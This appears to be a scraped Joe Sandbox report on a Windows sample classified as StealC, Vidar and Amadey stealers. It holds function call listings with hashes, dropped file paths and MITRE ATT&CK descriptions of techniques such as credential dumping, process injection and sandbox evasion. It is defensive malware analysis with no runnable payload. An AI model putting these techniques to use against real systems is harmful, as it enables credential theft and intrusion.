malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6CAEE56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6CB15A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6CAEE56A,?,|UrlbarCSSSpan), ref: 6CB15A5C
free.MOZGLUE(?), ref: 6CB15A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6CB15B9D

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 230b2e04717487493136ebaf93484b290afe548817fe9b0b5e44b3d20d9ec8a1
Instruction ID: 2d2d0b3c19deda1f0303cc3711dcb49ee67d0cd8e0539ca43765cb8c91115334
Opcode Fuzzy Hash: 230b2e04717487493136ebaf93484b290afe548817fe9b0b5e44b3d20d9ec8a1
Instruction Fuzzy Hash: C5515D706187809FD701CF29C8C061BBBE5EF89318F04896DE8899B646D774D949CB66

Function 6CB0B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB0B2C9,?,?,?,6CB0B127,?,?,?,?,?,?,?,?,?,6CB0AE52), ref: 6CB0B628

Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB090FF
Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB09108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB0B2C9,?,?,?,6CB0B127,?,?,?,?,?,?,?,?,?,6CB0AE52), ref: 6CB0B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB0B2C9,?,?,?,6CB0B127,?,?,?,?,?,?,?,?,?,6CB0AE52), ref: 6CB0B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB0B127,?,?,?,?,?,?,?,?), ref: 6CB0B74D

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 6d9f8a197725090e8cf24d994344b145f791e1aabad09a74e41f89ef30a0abb1
Instruction ID: 65a105ad7884549b6e911b1fc1e4f9f445408ebc1b2d16a2cd7f3aaf9d457474
Opcode Fuzzy Hash: 6d9f8a197725090e8cf24d994344b145f791e1aabad09a74e41f89ef30a0abb1
Instruction Fuzzy Hash: F951DCB5B052568FDB14CF58C98076EBBB5FF85306F45852DC85AABB00DB31A804CBA2

Function 6CB0DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CAFFF2A), ref: 6CB0DFFD

Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB090FF
Part of subcall function 6CB090E0: free.MOZGLUE(?,00000000,?,?,6CB0DEDB), ref: 6CB09108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAFFF2A), ref: 6CB0E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAFFF2A), ref: 6CB0E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CAFFF2A), ref: 6CB0E0FE

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 28cf055b1ca00a4692485aea6c23ffd793f5bcf7139acf63dd1803bd7556663b
Instruction ID: fb1e7dc70fcdaf434b6d8c951ca9b182bc87bfe2f787b36c572ad021033c5705
Opcode Fuzzy Hash: 28cf055b1ca00a4692485aea6c23ffd793f5bcf7139acf63dd1803bd7556663b
Instruction Fuzzy Hash: 2541CEB17042D68BEB14CF68C88176E7BBAEB45308F144929D596DBB50F732E904CBD2

Function 6CB16180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB161DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB1622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB16250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB16292

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: ee22465640a541bc005ae230724c066ff6ba8b7e770098543cdc6d1a88b796e5
Instruction ID: 8f8140fdc02f72aed9fb07cceb4dabd9ac32d9bd63718594d8da9f9b4c3669ce
Opcode Fuzzy Hash: ee22465640a541bc005ae230724c066ff6ba8b7e770098543cdc6d1a88b796e5
Instruction Fuzzy Hash: E3313971A0464A8FDB14CF2CD880AAA73E9FF95308F104639C45AC7A51EB31E558C791

Function 6CB06E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CB06EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CB06EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB06F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB06F5C

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 65ac86fa1df483837bbaf958dd9980ff49855e1786d2096368f5583ab2ac66c1
Instruction ID: 0cfc10fba32a461793e63408313e642f8a309235ad5ee4145ce5e213923b8782
Opcode Fuzzy Hash: 65ac86fa1df483837bbaf958dd9980ff49855e1786d2096368f5583ab2ac66c1
Instruction Fuzzy Hash: 4331E571B1064A8FEB14CF2CC9806AE77E9EB84304F508639D81AC7651EF31E699C791

Function 6CB1B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAC0A4D), ref: 6CB1B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAC0A4D), ref: 6CB1B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAC0A4D), ref: 6CB1B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAC0A4D), ref: 6CB1B67F

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 20059032654df776b78f7ed2165db8196c84a345ff6b50983e2e0872359dfaf4
Instruction ID: 46a64fbb29d5a27a7575a8e3659105951a44f78fd330001914bbb07c25b5e992
Opcode Fuzzy Hash: 20059032654df776b78f7ed2165db8196c84a345ff6b50983e2e0872359dfaf4
Instruction Fuzzy Hash: 3431E6B1A052668FDB10CF58C84465EFBF5FF91304F168669C80A9BB05EB31E915CBE1

Function 6CAEF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CAEF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CAEF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CAEF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CAEF668

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 095d64e88f964f07c748b3ca27b642e172e601832cceccbad2c0c3e62b6fecb3
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 23313E71A00214AFD724CF5DDCC0A9F77B5EB98354B18893DEA498BB04D631E984CBA0

Function 6CAB39A0 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E744,6CB17765,00000000,6CB17765,?,6CAD6112), ref: 6CAB39AF
LeaveCriticalSection.KERNEL32(6CB3E744,?,6CAD6112), ref: 6CAB3A34
EnterCriticalSection.KERNEL32(6CB3E784,6CAD6112), ref: 6CAB3A4B
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CAB3A5F

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: d6a85c86d385118c32ff9c6a3edff4f6688aeb4f46d795cbcf807619c5fefec2
Instruction ID: 37fcd95a70bae8f8a2c38f00f86cef390c563ae31196c6a681decda0baf186e6
Opcode Fuzzy Hash: d6a85c86d385118c32ff9c6a3edff4f6688aeb4f46d795cbcf807619c5fefec2
Instruction Fuzzy Hash: 00210732706755CFC7249A69C459A2D73B5EF55718728061EC9AD93F80DB31AC4487C1

Function 6CACB940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CACB96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6CACB99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CACB9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CACB9B9

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: fe5e19f3bdb6dc8838c794598847697ed777b1fb2de4f0b7c15d06f8b1273372
Instruction ID: 25efbefc9615cc4629800db90db6b9627fd535167e6f27223fb584d78c7d3795
Opcode Fuzzy Hash: fe5e19f3bdb6dc8838c794598847697ed777b1fb2de4f0b7c15d06f8b1273372
Instruction Fuzzy Hash: 10117FB5A002059FCB14DFA9D8808AFB7F8BF88314B148A3AE91DD3701D731E9558BA1

Function 6CB026B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB026C1
free.MOZGLUE(?), ref: 6CB026E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB026FF
free.MOZGLUE ref: 6CB0270D

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 603d9c3dc39392dd8d8c967cd8e741c83ae18d2fe32702bbb0de637bcc1a8d33
Instruction ID: 7ba374d7cc4a026979448b03fd05bc0a45c7442c4a11c8f9ecb2ad8d15d18704
Opcode Fuzzy Hash: 603d9c3dc39392dd8d8c967cd8e741c83ae18d2fe32702bbb0de637bcc1a8d33
Instruction Fuzzy Hash: 70F0F9B67012815BE7109F58D8C495BB7BDEF51259B510035EA1AC3B01E731F95CC793

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report JGKjBsQrMc.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEGIJKEHCAKFCAKFHDAA

C:\ProgramData\BGHJEBKJEGHJKECAAKJK

C:\ProgramData\CBKFIECBGDHJKECAKFBGDHJKEC

C:\ProgramData\GCBGCGHDGIEGCBFIEGCBAKJJEB

C:\ProgramData\HJJJECFIECBGDGCAAAEHIEGDGC

C:\ProgramData\KJDGDBFB

Windows Analysis Report
JGKjBsQrMc.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
